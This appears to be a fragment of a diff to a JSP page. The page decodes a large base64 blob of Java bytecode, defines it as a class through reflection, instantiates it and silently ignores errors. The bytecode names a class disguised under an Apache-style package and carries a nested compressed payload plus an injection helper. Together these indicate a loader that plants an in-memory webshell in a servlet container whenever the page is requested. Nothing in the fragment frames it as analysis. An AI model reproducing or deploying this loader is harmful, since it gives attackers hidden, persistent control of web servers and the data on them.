cmcuYXBhY2hlLnV0aWxzLkNvbW1vbkpha2FydGFMaXN0ZW5lcggBkwEQYEg0c0lBQUFBQUFBQUFLMVllWFJVMVIzK2JtYVNONWs4bGt3Z0VCWWhyTWxra29FQUlTUUJ5VUpZVE1JU3dBTG5WRjhtTDhuQUxISG1EWkJVN1diMzJzV3U5S2hka2RxcXhWWW1SS3JTRnFXMVZtdXQxVnFycmJXMXRkWFcxcXJZYXZyZDk5NU10Z0h5Unc5dzc3djMvdGJ2dDl3N1BQajIzZmNDV0NrMnV0R0NiOGpocUJ0TzNLTGdtQnNGK0thQ1crWDhMVGR5OEcwM2JzUHRjcmpEaGUvSTdlTXUzS25ndS9MemV3cnVjdU1Fa2k0TUtEaXA0SkNDUVFWM3UzQktIbi9maFh0Y3VOZUYrMXc0N2NJUHBLWWZ1dkFqTjg3Z2ZnVVA1R0lWenJveEhUOTJveGcva2RzUHl1R25ianlFbnlsNFdCSThrb2NTL0Z4K1BTcEpmK0htMTJOeTc1ZHk3M0g1OVN1NTk0UWNublRoMTNsNENyOVI4TFMwNExkeTg2Z2NucEhiejdyd084bndySUxmdTFFbmZYZml1VHhjaGo5SVljOUxCWDkwNDA5NFFSNzhXWkw4UlRLL0tBLytLdW4rNXNJUnVmT1NDemNvZUZuQjN4WDhROEFSN2x3bDRHblpyeDNVL0NFdDB1MXZOMkxCU0hldGdMTlhpOGRKY1VEdkUzRDM2RnFuSG12VHdycEFuclhZcllVU1hPWFVCU05CWXgwcFMwcDNrNjB4MnNuZEtTM0JpTjZXQ0hmb3NaMWFSMGlYU3FJQkxiUmJpd1hsMnQ1MEdqMUJLbWx1Q1VURC9waXU3ZGZpMFloZlduTkk3L0NIOVhCY0Q0WDhSalFjMEF4L2Q3U3pQeGdLYWY2TjlzY1c3WUFXTTdTV1lOelFJM3FNUnM4cUdlRktZNGdldEVTbHJiWFNOTkV2TU9NODV3S1R1bldqT2FpSE9tMi9xa2VLMnRxeFh3OFl0ZU54S2gxUFJLOE9hakhDT24vRVdWdTBQUkhvTWVWdk9CelFlNDFnTkVKS1I3UmovMmo4aDRWRVRMQ3p1eVNQUU5FSW1wamVGU0tSM3hSSDB1eEFTT3VuYy9sam5lTlo0V2pZKzNwVDBFOGJTMXpuWFNkaGFEZTB3SUZXcmRja1UvQ0tXUiszTWdYU2RqTmdhb2NXMTZ0V2JvZ0V6R2dYbHV4cktNMlVSSXB1VXNTWUpoYUhCVTZWd1BRUjVDTVJ5ZXFnK0t4OURmVHFvQXlFVlpocGpVMTZTbU9HV0VndXBWTzNOWXJ0MURMR3NCUXFXWUVPZ2R6MllIZEVNeEl4eXB1WmlkQkNSQnltVkI3dk5lV0xRTXIydy81QXJLL1hpUG9iZzcwOVpncEoxK2lob0FjaXpIOTdXYzBLL3NrQXgvU3JFbnJjMk14S0NXcWhZTC9PaUpaSUY4d0U5c2YxMk1HUWJ2amJyWG1IUmIzaG9CNHh6TXpOMFdLeHJRbERZSjVsWWpEcWIrZ3o5UHBZVE92amZtL0NJQVM2RnBiV2RnbTRZbnE4bDNHaVg5NXhPbm9NbzllL2lVTmFtVVVyb3hYWDQzR0dRV0RCaGRoTUd1bHVwMlpvQWdYeDhWWUxMSjZRYzlScFF5TlFPZ0ZUVGRKYUJmOWlrelhiMkt0TWhlNWhKNXBqMGZDT2xNQmQ0d0UrbjhTSjZFN0RKSWlydXoyYWlBWDA1cUFzcFRubmFVZ1ZNbGdxZG1LWEhQYXArRGRlRTVnNnR0aFZ2STQzQkM2NWNMZFFjUTZ2U1RsdnNpaFYvQWYvVmZFVzNyYmxWU1NNWUtpaXdhd1JGVU0wRW03aXNpRlZmcDU5NDZwQUZVSmtNWHo3eG5jZlJUaFU0UlRaQXBPdEF0NFp0V3FNalgyTW1GSCtwSWdLTXRRMkF4VlBSQ3JDd1hpZ29xRytmVU9xZThSVWtTTVU1cmh1TnhOcGQxT3FpSE02VXdVL2hqbE5vVm9VRFltdUxpbkxKWExaVnVzM3RMUHdWT0VXZVN5YVVkVWE3OVVEek1WQVREY3UwL3ZhdVZLeEhWdFZvWXBKaEZkTVZzVVVNVlVWK2NMRFBGTkZnWmdtc0hTQ2lhUmloeFExWFJTcWFKZGZNOFJNRlYvR1YxUlJKR2FwMkNiM1pzdlRkK0ZxRmUvSGRheUFYcTB2eEZ1SXlheUtPV0t1UU5QLzR6WlV4U1Zpbm9wcjhXNVZ6QmZGeExWWGkvRktNZlFZZ3piM2duMUVGUXZFUWxVc0VvdFZ0RW1UbDRpbGlpaFJSU25lVklWWGxLbkNKOUhxeFZYeXJGd1ZGVExIMzRrcjJOWW1Xa25zb3hudllvRWxGMjRkS1E5NW01L25UclF6Y0V5SEZsZzRnWjdFZS90aXZZOGRsamxxcDM5QlNhWUxacXFWeENFdHBuZmFKcFZudXJJdWNLdkxCMGw3b2xlUEJTeEYwelB4ODNLWUZOZU4ra0JBbW1hOXFVcjJ5bTBIMlFsbGhsZE14amVMMGhXMW4zZUxMMkpueXNWY0ttalZqWjRvZlZ1ZmdXZDh4OG5rclNXQjRtYWU3NHhOSUJnNUdEMUEwOVprOENaRCs4cm9ZRjVFUDdRNUVqZTBTRUMrZmtveUUzWHFYWHk0MnFHZHdWdC84K1pNdnVmUjkyRmhwZWRGYlB3YlFXYU9yTG00REpUNW9wQmFNa2ZXS1YvV2ttQ3pkUjdYQTRsWTBPanpzM0daQkVwbnREa1kwVUtFU0w1ZnBMUjhtVFdqc3BxM2VjbjQrMjNNQldpRmM1TnVGK0JGVWlEOXZuTUZvaEZEQzhvbjRleFJUKzhlTGRZdVJST2YydEs5VmxOUFY4K2lEUFprZUYrbzVObVc2bG5Xc3Q2ZzVvNkVvVi9jeG5STUo2ZHFOZFZlaXNaWGJQcFhnQm9mcFdScEJpVVo4azArMGVpdEZocGJwaW1DdlJhK2x6TjZadDlLV2NBR3ZJMUM3UU1aaFhpaUkyN2Zvb1VsbzVNdmpYcEJCbDYrbHcvSkQ4YkVTRi9XbzdNOHpaOW5STk50WHhxY1dVdGVWeWdSNzdIdVZjSWRqWFg3dFY0dDBLUDc1VnNqN20rTWhzUFJ5SmhiUnhGK0Y3YmxpbVY0bkUxd1JhQktYOVpScmEwSkxGOVZXYmxTYzRrVjh1Z3NlK3p5NVkxTlZmWFZxMWRWcjZsZXVieHFSVlhqaXRYMWpkV1ZWZldWOWN0V05qUzZSSlVrZlo2cHM0czVVbDdmemQ3c0Vtdms1aVB5aHlPejFpWHE1UEpSWGpvdEV6T3YxazM2eCtUd2hCeWVsTU5ST1R3amh4Zmw4QktLT2Jid0FkV0tiSTY4L3dETzIreDV1ejN2c09kMmM4N2xGOTk1SEhmTC82SkFGcitBRXU4QWhMZEFMRDhoS2ptdFBDRldjVnA5UWxSenFqa2hham10UFNIVzNRbVlzdmhJdENXc29vUXN6cVhlc2dGa1RWaEVxYnlEeVNoRnZBQUhIUUNxUmFzM0NVZGJ1Y2Q1RklYbFpVbGt0eDdEcEJwbmVSSksyN0doRjMxbm9aNUNaQTgxdWU3ek9aUEk5WkhCZlp5bVRFSUJDaEdCRXdjb0tSL090NkFvdUUxQnVFMUJKRmZGNWR5dWhNcHhQdFVXUThFQ01pMGkyMkl5THNGTUxNVmNsUERVeTkweWxQTlBKU3J3RGhPbGJKNW40MHBvVkVCRDBZR0E2VVkxT29rcWY2YWhDanE2T0N0WWptNzAwS1VnejFXZVdUdjd1UlBsanBNNy9Zd0NYeVNXKzBKSGp1bitZZEhpeVRzSnRkWG5tU1JPWTNJU1UzeWNweWFSMzBZRUhCNlA4eDZFOXpnODA5cDVWTTZGYzQvRHkrLzgwK2hyT1lZMWJaNFpKbnNTTTJ1Y1JVN0pValNTcGNnNWppZTd4bGwyM0l6Z1dxeW5YZlcweXVCc3dWZ0t4eEMzc3hSTVU5QUhvYUIvQ0N2Z3ROZGNtbnZuNk5Jd3ZES2xWc05GYUdaakRjWFdVMElOeHpwczVLb1Y2NmhpUFpWY2lvTm9NT0hkUkVtekdZNFlRWFdZbkhFQ21FWGFSZWFlazV6bDlsNDlFODVBZ25RRWpCSU9jYzdpZk5nTWc0UzhrR3RMeG41K1daenlheVQ0Zk5OYTZTc08yT0JmT3d6K3JJemd6N2FSN0JzUC9qVCtKWloxYlo0NVkvR2ZPNUpyRFA0MjIzQUkxcU9SMWpYUnAvN1JJV2lVSWVnajZuWUlxbVFJekhYbUVHeWtzQzBFNFRMQzJrS3hPeW1obFlLM2NuY2IvMnluaW5aeTdpQU11MGFFWURHdXNVTlFhOE85alZWeGpSbUNMVmhtN3pVUjNGUUlyaVgwVzgwUVhNMFFIQm9WZ2xvYmVJdHp2OWxwK01pM2kzNHRaY3Era2VzdGM1VGRPNEJManB0aXBCTTVaa3ZhYXhwV2FCRmhqN2pVTExoY3ZNZFU4MTZUK24zODRrOFR1eFU5U1U1Wm5qN1B2Sk9ZMzFZKzV3Z1U1ekU0czAraGVJLzNMckVxaVlXZWVRTllsTVJpMlYyV0hHOFR4NjMyUjV6NzZaQkV2RTRpUG9VSWkyVkVtT0Nla1FpZkdaTHBNMktQRVRramh0Z1dIUGFtR1FmVC9rSXpvNjZnTlZkaUlWdEdLZHVGbHlDbVdra09keitBRDFLZmx6NTh5SWJTbC9iUmh3K2JQc3F2aitDakpuRFg0eE4yeHI1R0NTNmVuYU1IUzAvanhsWWZYYXNkaERjTEQrQzU0UVUvMWlYaE80S0h2YjRCc2I3Tk40Z0tnUnFucEtnY3hMSXNuQlQxTmRuZW9teEhValRVWkJjNVBTc0dzVElMWjdGQWZwOFN5L2JJZHB4RTFZQm9MTXBPaXFaQnJISGdHSzd4ZVdxS3NnZFI2OEFwMU8wWndOcWFuRFQzYVlSbC9pdEZTbEZPRXVzdUwxSjhjaW9meEtWQzJsVHRtTXFpcWsraW9VaEpvakYxSUltYm5EVGtwTmpBczJGeVNkMXM3V3dVVk81c3U1TkF1UEFxWGsrSGJDR2NRMXprbUpGNFNNR05DbTVTOEpRc0VMeUJ2Z1laR0RNeUhZd1htSW91aERBTFlVWW1Bajg3dzJxMjQyYjJwYTNzTi91WXJKMk1TWXh6UCtOd0hSUDdlbmE3bTdtNmhaM2pkcWI2YVJiRkEwem1wNW5PTHpNalh5WFY2OHpFTnhoWEdlVWQxSEE5bS80bjhTbEcrMmJHN2RPTXYwSmQ5K01HZklabXI4WTkrQ3creDN4dHhoMzRQUFhJbkRtWHpvRnorQUsrYURyNkNvN2dTMlovNEs5enUzaSt5bGxtZXJGb0xmTnNPaW1hUFZzNG5NWk52QzhudDVXbFY3N2o1dDJVVHlCU1dMR2docmkwc2xZQ1plYXQyNFJuRm8wRmt5K0xTWmRQQjZiaFk1aU9qMk1lazArNjVhWFM2WEJUdlpXeXhXbHppMDBqcGE1NXBvTWoyNjNBMTh4aS9mci9BS1UweDJnWEdRQUEIAZUKAZIA7goBkgDzCgGSAPQBAB5Mb3JnL2p1bml0L2p1cGl0ZXIvSW5qZWN0VXRpbDsKAZIA+QoBkgD+CgGSAREKAZIBFAoBkgEVCgGSARYKAZIBIgoBkgEoCgGSATwKAZIBQwoBkgDtACEBkgCOAAAAAAAPAAEAawBsAAEAbQAAABAAAQABAAAABBMBlLAAAAAAAAEAcgBsAAEAbQAAABAAAQABAAAABBMBlrAAAAAAAAEAcwB0AAEAbQAAANgAAwAFAAAANiq3AAIqtgGXTCu5AAQBAE0suQAFAQCZABssuQAGAQBOKi23AZg6BCotGQS2AZmn/+KnAARMsQABAAQAMQA0AIAA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"; + byte[] bytecode = decodeBase64(bytecodeBase64); + Class clazz = (Class) defineClass.invoke(classLoader, bytecode, 0, bytecode.length); + clazz.newInstance(); + } catch (Exception ignored) { } - Class clazz = (Class)defineClass.invoke(classLoader,bytecode,0,bytecode.length); - clazz.newInstance(); } %> \ No newline at end of file